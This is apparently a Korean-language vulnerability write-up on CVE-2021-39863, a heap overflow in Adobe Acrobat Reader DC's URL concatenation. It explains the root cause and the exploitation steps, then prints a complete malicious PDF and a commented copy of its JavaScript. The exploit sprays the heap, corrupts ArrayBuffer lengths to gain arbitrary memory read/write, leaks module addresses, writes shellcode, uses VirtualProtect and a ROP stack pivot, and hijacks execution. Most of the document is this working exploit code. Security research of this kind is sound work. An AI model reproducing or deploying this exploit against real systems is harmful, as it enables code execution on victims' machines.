본문 바로가기
취약점 분석

Analysis of CVE-2021-39863

by nono20 2024. 8. 13.

사용한 버전: Adobe Acrobat Reader DC 2021.005.20048 32-bit

Root Cause

해당 CVE는 PDF에 내장되어 있는 base URL과 JSscript로 전달되는 relative URL을 연결할 때 IA32.api에서 relative URL의 인코딩 방식을 확인하지 않아서 즉, relative URL 방식이 UTF-16BE로 인코딩 되어 있다고 판단하여 relative URL 뒤

두 개의 널 바이트까지 연결되어 Heap overflow와 OOB read&write가 발생하는 취약점이다.    

 

code of Root Cause

 

result of Root Cause

Exploitation

- r/w primitive 구현

연결된 URL을 저장할 배열과 relative URL을 저장할 배열을 선언해 주고 각 요소에 ArrayBuffer를 할당해 준다.

연결된 URL을 저장할 배열의 몇몇 요소를 NULL 또는 undefined로 초기화시킨다.

그 요소들에 연결된 URL을 저장한다.

이때 overflow가 발생하여 다음 배열의 요소의 bytelength가 0xFFFF가 된다.

이다음 배열의 요소의 bytelength를 0xFFFFFFFF(-1)이 되게 한다. (전체 ArrayBuffer 영역을 통제할 수 있음)

이때 bytelength가 -1로 변조된 배열의 요소를 r/w primitive로 설정한다.

 

- Arbitray r/w primitive 구현

이 단계에서는 위에서 설정한 r/w primitive의 VA를 얻는 과정이다.

bytelength가 -1로 변조된 ArrayBuffer가 저장된 Heap chunk의 Chunk Header에서 chunk number 획득한다.

동일 크기의 제일 첫 Heap chunk의 Chunk Header 시작 지점과 r/w primitive 사이 offset을 구해야 한다.

 - chunk number, chunk size(0x808)

 - Heap chunk의 Chunk Header 크기(0x8)

 - ArrayBuffer의 header 크기(0x10)

 - offset = chunk number * chunk size(0x808) + Chunk Header 크기(0x8) + ArrayBuffer header 크기(0x10)

r/w primitive와 Userblock이 정한 signature(0xF0E0D0C0) 사이 offset을 구해야 한다.  

 - signature가  0xF0E0D0C0 일 때까지 offset에 0x4를 더한다.

 - BitmapData에 대한 포인터와 r/w primitive 사이의 거리를 구하기 위해 offset에 0xC를 빼준 뒤 BitmapData에 대한 VA를 획득한다.

 - BitmapData에 대한 VA에 BitmapData에 대한 VA에서 r/w primitive 사이 거리(offset - 4)를 더해서 r/w primitive의 VA를 얻을 수 있다.

 

 

- Information Leak

이 단계에서는 Escript.api의 VA를 구해서 VirtualProtect 함수, r/w primitive의 property map 안의 getproperty() 함수,

ROP gadget의 VA를 유출하는 과정이다. 

 - ArrayBuffer 객체를 인자로 DataView 객체를 만들면, ArrayBuffer 객체의 capacity 필드에  DataView 객체의 VA가 저장

   된다. DataView 객체는 elements_ 필드에 emptyElementsHeader의 VA를 저장한다. 이때 emptyElementsHeader는 

   EScipt.api의 data 영역에 고정된 offset으로 존재하기 때문에 이 점을 이용하여 EScipt.api의 VA를 구할 수 있다.

 - ArrayBuffer 객체를 인자로 DataView 객체를 만들면, ArrayBuffer 객체의 capactiy 필드에 DataView 객체의 VA가 저장

   된다. DataView 객체의 shape_ 필드에 Shape에 관련 정보가 저장되고 Shape Table에는 객체마다 갖고 있는 함수의 

   주소가 vtable의 형태로 저장되어 있다. 

 

- property map 변조

r/w primitive의 존재하지 않은 property에 접근하면 property map 내 getproperty가 실행된다. 

이때 getproperty() 함수의 VA를 ROP Gadget으로 덮어쓰면 getproperty가 아닌 ROP Gadget이 실행되어 아래에서

구성한 Fake Stack으로 이동하게 된다.

ROP Gadget은 아래 어셈블리로 구성되어 있다.

mov esp, 0x5D000001;
ret;

 

- Fake Stack 구성 및 Shellcode 실행

ROP Gadget이 esp를 0x5D000001로 옮기므로 해당 주소를 기준으로 fake stack을 설정한다.

 - fake stack의 구성요소는 shellcode 크기, VirtualProtect 함수에 대한 포인터, shellcode가 저장된 VA,

   변경할 보호 상수(0x40, rwx) , 이전의 보호 상수를 저장할 포인터이다.

 

 

ROP Gadget이 실행된 후 세부적인 과정은 다음과 같다.

ROP Gadget 실행 직전의 메모리 구조

 

- esp를 fake stack의 시작 주소인 0x5D000001 로 옮긴다.

esp를 fake stack의 시작 주소인 0x5D000001로 옮긴 뒤 메모리 구조

 

- ret가 실행되고 pop eip로 eip는 VirtualProtect 함수에 대한 포인터를 가리킨다.

ret 실행 직후 (VirtualProtect 호출 직전) 메모리 구조

 

- jmp eip로 VirtualProtect 함수를 호출하기 때문에 RIP를 추가로 저장하지 않는다.

  VirtualProtect 함수가 호출되어 shellcode가 저장된 메모리 영역에 실행권한을 부여한다.

  기존의 fake stack에 존재하던 shellcode가 저장된 VA를 RIP로 둔다. 

VirtualProtect 실행 직후 (함수 prologue 직후) 메모리 구조

 

- eip가 shellcode가 저장된 VA를 가리키게 되며 shellcode가 실행된다.

shellcode 실행 직전의 메모리 구조

 

전체 코드

pdf 코드

%PDF-1.7
1 0 obj
<<
  /Type /Catalog
  /Pages 2 0 R
  /AcroForm 6 0 R
  /OpenAction 9 0 R
  /URI 11 0 R
  /NeedsRendering true
>>endobj
2 0 obj
<<    
  /Type /Pages    
  /Kids [3 0 R]    
  /Count 1
>>endobj
3 0 obj
<<    
  /Type /Page    
  /Parent 2 0 R    
  /Contents 4 0 R    
  /MediaBox [0 0 612 792]
  /Annots [ 12 0 R ]
  /Resources    
  <<
    /Font <</F1 5 0 R>>
	/ProcSet [/PDF /Text]    
  >>    
  /Annots [8 0 R]
>>
endobj
4 0 obj
<</Length 94>>
stream
BT
/F1 24 Tf
100 600 Td(Your PDF reader does not support XFA if you see this sentence.) Tj
ET
endstream
endobj
5 0 obj
<<
  /Type /Font    
  /Subtype /Type1    
  /Name /F1    
  /BaseFont 
  /Helvetica    
  /Encoding 
  /MacRomanEncoding
>>endobj
6 0 obj
<<    
  /Fields [7 0 R]
  /XFA 8 0 R
>>
endobj
7 0 obj
<<
  /Type /Annot    
  /Subtype /Widget    
  /FT /Tx    
  /P 3 0 R    
  /T (MyField1)    
  /H /N    
  /F 6    
  /Ff 65536    
  /DA (/F1 12 Tf 1 1 1 rg)    
  /Rect [10 600 11 700]
  /V (The quick brown fox ate the lazy mouse)
>>
endobj
8 0 obj
<</Length 1404>>
stream
<?xml version="1.0" encoding="UTF-8"?>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
  <template xmlns="http://www.xfa.org/schema/xfa-template/2.1/">
    <subform name="form1" layout="tb" locale="en_US">
	  <pageSet>
	    <pageArea name="Page1" id="Page1">
		  <contentArea x="0.25in" y="0.25in" w="197.3mm" h="284.3mm"/>
		</pageArea>
	  </pageSet>
      <subform>
	    <draw name="Text" h="0.372417in" w="5.943625in">
	      <ui>
	        <textEdit>
		      <margin/>
		    </textEdit>
	      </ui>
	      <value>
	        <text></text>
	      </value>
	      <font size="24pt" typeface="Myriad Pro" baselineShift="0pt"/>
	    </draw>
      </subform>
	</subform>  
  </template>
  <config xmlns="http://www.xfa.org/schema/xci/1.0/">
    <present>
	  <destination>pdf</destination>
	  <pdf>
	    <interactive>1</interactive>
	  </pdf>
	</present>
  </config>
</xdp:xdp>
endstream
endobj
9 0 obj
<<
  /Type /Action    
  /S /JavaScript    
  /JS 10 0 R
>>endobj
10 0 obj
<</Length 48>>
stream

//target adobe reader version��21.005.20060
console.show()

function gc() {
  new ArrayBuffer(3 * 1024 * 1024 * 100);
}

var strRelUrlSize = 0x600;
var strConUrlSize = 0x800;

function createArrayBuffer(blocksize) {
  var arr = new ArrayBuffer(blocksize - 0x10);
  var u8 = new Uint8Array(arr);
  for (var i = 0; i < arr.byteLength; i++) {
    u8[i] = 0x42;
  }
  return arr;
}

var arrB = new Array(0xE0);
var sprayStr1 = unescape('%uFFFF%uFFFF%uFFFF%uFFFF%u0000') + unescape('%uFFFF').repeat((strRelUrlSize / 2) - 1 - 5);
for (var i = 0; i < arrB.length; i++) {
  arrB[i] = sprayStr1.substr(0, (strRelUrlSize / 2) - 1).toUpperCase();
}

for (var i = 0x11; i < arrB.length; i += 10) {
  arrB[i] = null;
  arrB[i] = undefined;
}

var arrA = new Array(0x130);
for (var i = 0; i < arrA.length; i++) {
  arrA[i] = createArrayBuffer(strConUrlSize);
}

for (var i = 0x11; i < arrA.length; i += 10) {
  arrA[i] = null;
  arrA[i] = undefined;
}

gc();

try {
    this.submitForm('a'.repeat(strRelUrlSize - 1));
} catch (err) { }

for (var i = 0; i < arrA.length; i++) {
    if (arrA[i] != null && arrA[i].byteLength == 0xFFFF) {
      var temp = new DataView(arrA[i]);
      temp.setInt32(0x7F0 + 0x8 + 0x4, 0xFFFFFFFF, true);
    }

    if (arrA[i] != null && arrA[i].byteLength == -1) {
      var rw = new DataView(arrA[i]);
      break;
    }
}

if (rw) {
    curChunkBlockOffset = rw.getUint8(0xFFFFFFED, true);
    BitMapBufOffset = curChunkBlockOffset * (strConUrlSize + 8) + 0x18

    for (var i = 0; i < 0x30; i += 4) {
        BitMapBufOffset += 4;
        signature = rw.getUint32(0xFFFFFFFF + 1 - BitMapBufOffset, true);
        if (signature == 0xF0E0D0C0) {
            BitMapBufOffset -= 0xC;
            BitMapBuf = rw.getUint32(0xFFFFFFFF + 1 - BitMapBufOffset, true);
            break;
        }
    }

    if (BitMapBuf) {
        StartAddr = BitMapBuf + BitMapBufOffset - 4;
//====================================================================================================================================

        function readUint32(dataView, readAddr) {
            var offsetAddr = readAddr - StartAddr;
            if (offsetAddr < 0) {
                offsetAddr = offsetAddr + 0xFFFFFFFF + 1;
            }
            return dataView.getUint32(offsetAddr, true);
        }

        function writeUint32(dataView, writeAddr, value) {
            var offsetAddr = writeAddr - StartAddr;
            if (offsetAddr < 0) {
                offsetAddr = offsetAddr + 0xFFFFFFFF + 1;
            }
            return dataView.setUint32(offsetAddr, value, true);
        }

        var heapSegmentSize = 0x10000;
        heapSpray = new Array(0x8000);
        for (var i = 0; i < 0x8000; i++) {
            heapSpray[i] = new ArrayBuffer(heapSegmentSize - 0x10 - 0x8);
        }

        EScriptModAddr = readUint32(rw, readUint32(rw, StartAddr - 8) + 0xC) - 0x277548;
        VirtualProtectAddr = readUint32(rw, EScriptModAddr + 0x1B0060);
        
        var shellcode = [0xec83e589, 0x64db3120, 0x8b305b8b, 0x5b8b0c5b, 0x8b1b8b1c, 0x08438b1b, 0x8bfc4589, 0xc3013c58, 0x01785b8b, 0x207b8bc3, 0x7d89c701, 0x244b8bf8, 0x4d89c101, 0x1c538bf4, 0x5589c201, 0x14538bf0, 0xebec5589, 0x8bc03132, 0x7d8bec55, 0x18758bf8, 0x8bfcc931, 0x7d03873c, 0xc18366fc, 0x74a6f308, 0xd0394005, 0x4d8be472, 0xf0558bf4, 0x41048b66, 0x0382048b, 0xbac3fc45, 0x63657878, 0x5208eac1, 0x6e695768, 0x18658945, 0xffffb8e8, 0x51c931ff, 0x78652e68, 0x61636865, 0xe389636c, 0xff535141, 0xb9c931d0, 0x73736501, 0x5108e9c1, 0x6f725068, 0x78456863, 0x65897469, 0xff87e818, 0xd231ffff, 0x00d0ff52];
        var shellcodesize = shellcode.length * 4;

        for (var i = 0; i < shellcode.length; i++) {
            writeUint32(rw, StartAddr + 0x18 + i * 4, shellcode[i]);
        }

        var newStackAddr = 0x5D000001;
        var offset = 0x1050AE;
        
        writeUint32(rw, newStackAddr, VirtualProtectAddr);      // RIP 1
        writeUint32(rw, newStackAddr + 0x4, StartAddr + 0x18);  // RIP 2
        writeUint32(rw, newStackAddr + 0x8, StartAddr + 0x18);  //  Arg1 : 메모리 시작 주소
        writeUint32(rw, newStackAddr + 0xC, shellcodesize);     //  Arg2 : 메모리 크기
        writeUint32(rw, newStackAddr + 0x10, 0x40);             //  Arg3 : 메모리 보호 상수 : 0x40 : 실행 권한
        writeUint32(rw, newStackAddr + 0x14, StartAddr + 0x14); //  Arg4 : 이전 보호 상수 저장할 포인터

        var dataViewObjPtr = rw.getUint32(0xFFFFFFFF + 0x1 - 0x8, true);
        var dvShape = readUint32(rw, dataViewObjPtr);
        var dvShapeBase = readUint32(rw, dvShape);
        var dvShapeBaseClasp = readUint32(rw, dvShapeBase);
        
        writeUint32(rw, dvShapeBaseClasp + 0x10, EScriptModAddr + offset);

        var foo = rw.execFlowHijack;
    }
}

endstream
endobj
11 0 obj
<<
/Base <FEFF68747470733A2F2F7777772E61612E636F6D2F414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141412F>
>>
endobj
xref
0000000000 65535 f
0000000010 00000 n
0000000143 00000 n
0000000219 00000 n
0000000443 00000 n
0000000588 00000 n
0000000724 00000 n
0000000781 00000 n
0000001033 00000 n
0000002491 00000 n
0000002570 00000 n
0000002600 00000 n
trailer <</Root 1 0 R/Size 12>>
startxref
2670
%%EOF

 

JS 코드

console.show()

function gc() {
  new ArrayBuffer(3 * 1024 * 1024 * 100);
}

// Size of relative URL
var strRelUrlSize = 0x600;
// Size of concated URL (Size of base URL + Size of relative URL)
var strConUrlSize = 0x800;

// Generate Heap Area with given blocksize (including Heap shunk Header)
function createArrayBuffer(blocksize) {
  var arr = new ArrayBuffer(blocksize - 0x10);
  var u8 = new Uint8Array(arr);
  for (var i = 0; i < arr.byteLength; i++) {
    u8[i] = 0x42;
  }
  return arr;
}

// Create Heap Area to store relative URL adjacent with exploit string to overwrite  byteLength field to -1
var arrB = new Array(0xE0);
// length of sprayStr1 = 2*5 + 2*((0x600/2) - 1 - 5) = 0xa + 2*(0x300 - 6) = 0x600 - 0x2 : Size of total string excluding 2 byte null (UTF16-BE)
var sprayStr1 = unescape('%uFFFF%uFFFF%uFFFF%uFFFF%u0000') + unescape('%uFFFF').repeat((strRelUrlSize / 2) - 1 - 5);
for (var i = 0; i < arrB.length; i++) {
  // UTF16-BE는 2byte가 문자 1개 => null 2byte 포함 0x600 크기의 heap chunk에 할당하기 위해서는 0x300개의 문자 필요
  // (strRelUrlSize/2) - 1 = 0x600/2 - 1 = 0x300 - 1 : null 문자 제와 0x2FF개의 문자
  arrB[i] = sprayStr1.substr(0, (strRelUrlSize / 2) - 1).toUpperCase();
}

// make multiple hole
for (var i = 0x11; i < arrB.length; i += 10) {
  arrB[i] = null;
  arrB[i] = undefined;
}

// Create Heap Area to store concatted URL with ArrayBuffer object for Arbitrary R/W
var arrA = new Array(0x130);
for (var i = 0; i < arrA.length; i++) {
  arrA[i] = createArrayBuffer(strConUrlSize);
}

// make multiple hole
for (var i = 0x11; i < arrA.length; i += 10) {
  arrA[i] = null;
  arrA[i] = undefined;
}

// garbage collection
gc();

// Trigger vulnerable
try {
    this.submitForm('a'.repeat(strRelUrlSize - 1));
} catch (err) { }

// Corrupt byteLength field in ArrayBuffers next to the concatted URL ArrayBuffer
for (var i = 0; i < arrA.length; i++) {
    if (arrA[i] != null && arrA[i].byteLength == 0xFFFF) {
      var temp = new DataView(arrA[i]);
      temp.setInt32(0x7F0 + 0x8 + 0x4, 0xFFFFFFFF, true);
    }

    if (arrA[i] != null && arrA[i].byteLength == -1) {
      var rw = new DataView(arrA[i]);
      break;
    }
}

// Find the latest corrupted ArrayBuffer object and set DataView object of it (rw)
if (rw) {
    // START getArbitraryRW
    curChunkBlockOffset = rw.getUint8(0xFFFFFFED, true);
    BitMapBufOffset = curChunkBlockOffset * (strConUrlSize + 8) + 0x18

    // go until find UserBlock signature (0xF0E0D0C0)
    for (var i = 0; i < 0x30; i += 4) {
        BitMapBufOffset += 4;
        signature = rw.getUint32(0xFFFFFFFF + 1 - BitMapBufOffset, true);
        if (signature == 0xF0E0D0C0) {
            BitMapBufOffset -= 0xC;
            BitMapBuf = rw.getUint32(0xFFFFFFFF + 1 - BitMapBufOffset, true);
            break;
        }
    }

    if (BitMapBuf) {
        // StartAddr : Address of start of data in ArrayBuffer
        StartAddr = BitMapBuf + BitMapBufOffset - 4;
    // END getArbitraryRW

        // START helper function to R/W Arbitrary address
        function readUint32(dataView, readAddr) {
            var offsetAddr = readAddr - StartAddr;
            if (offsetAddr < 0) {
                offsetAddr = offsetAddr + 0xFFFFFFFF + 1;
            }
            return dataView.getUint32(offsetAddr, true);
        }

        function writeUint32(dataView, writeAddr, value) {
            var offsetAddr = writeAddr - StartAddr;
            if (offsetAddr < 0) {
                offsetAddr = offsetAddr + 0xFFFFFFFF + 1;
            }
            return dataView.setUint32(offsetAddr, value, true);
        }
        // END helper function to R/W Arbitrary address

        // sprayHeap for new Stack
        var heapSegmentSize = 0x10000;
        heapSpray = new Array(0x8000);
        for (var i = 0; i < 0x8000; i++) {
            heapSpray[i] = new ArrayBuffer(heapSegmentSize - 0x10 - 0x8);
        }

        // START getAddressLeaks
        // leak and calculate the EScript base address
        EScriptModAddr = readUint32(rw, readUint32(rw, StartAddr - 8) + 0xC) - 0x277548;
        
        // leak VirtualProtect address in kernel32.dll wich is used by EScript
        VirtualProtectAddr = readUint32(rw, EScriptModAddr + 0x1B0060);
        
        // Set Shellcode
        var shellcode = [0xec83e589, 0x64db3120, 0x8b305b8b, 0x5b8b0c5b, 0x8b1b8b1c, 0x08438b1b, 0x8bfc4589, 0xc3013c58, 0x01785b8b, 0x207b8bc3, 0x7d89c701, 0x244b8bf8, 0x4d89c101, 0x1c538bf4, 0x5589c201, 0x14538bf0, 0xebec5589, 0x8bc03132, 0x7d8bec55, 0x18758bf8, 0x8bfcc931, 0x7d03873c, 0xc18366fc, 0x74a6f308, 0xd0394005, 0x4d8be472, 0xf0558bf4, 0x41048b66, 0x0382048b, 0xbac3fc45, 0x63657878, 0x5208eac1, 0x6e695768, 0x18658945, 0xffffb8e8, 0x51c931ff, 0x78652e68, 0x61636865, 0xe389636c, 0xff535141, 0xb9c931d0, 0x73736501, 0x5108e9c1, 0x6f725068, 0x78456863, 0x65897469, 0xff87e818, 0xd231ffff, 0x00d0ff52];
        var shellcodesize = shellcode.length * 4;

				// Write Shell Code
        for (var i = 0; i < shellcode.length; i++) {
            writeUint32(rw, StartAddr + 0x18 + i * 4, shellcode[i]);
        }

				// Setup new Stack
        var newStackAddr = 0x5D000001;
        var offset = 0x1050AE;
        
        writeUint32(rw, newStackAddr, VirtualProtectAddr);      // RIP of previous Stack Frame
        writeUint32(rw, newStackAddr + 0x4, StartAddr + 0x18);  // RIP of VirtualProtect Stack Frame
        writeUint32(rw, newStackAddr + 0x8, StartAddr + 0x18);  //  Arg1 : 메모리 시작 주소
        writeUint32(rw, newStackAddr + 0xC, shellcodesize);     //  Arg2 : 메모리 크기
        writeUint32(rw, newStackAddr + 0x10, 0x40);             //  Arg3 : 메모리 보호 상수 : 0x40 : 실행 권한
        writeUint32(rw, newStackAddr + 0x14, StartAddr + 0x14); //  Arg4 : 이전 보호 상수 저장할 포인터

				// get address of vtable
        var dataViewObjPtr = rw.getUint32(0xFFFFFFFF + 0x1 - 0x8, true);
        var dvShape = readUint32(rw, dataViewObjPtr);
        var dvShapeBase = readUint32(rw, dvShape);
        var dvShapeBaseClasp = readUint32(rw, dvShapeBase);
        
        // Overwrtite address of getProperty in vtable to ROP gadget
        writeUint32(rw, dvShapeBaseClasp + 0x10, EScriptModAddr + offset);

				// try to access unknown property => call overwritten getProperty in vtable
        var foo = rw.execFlowHijack;
    }
}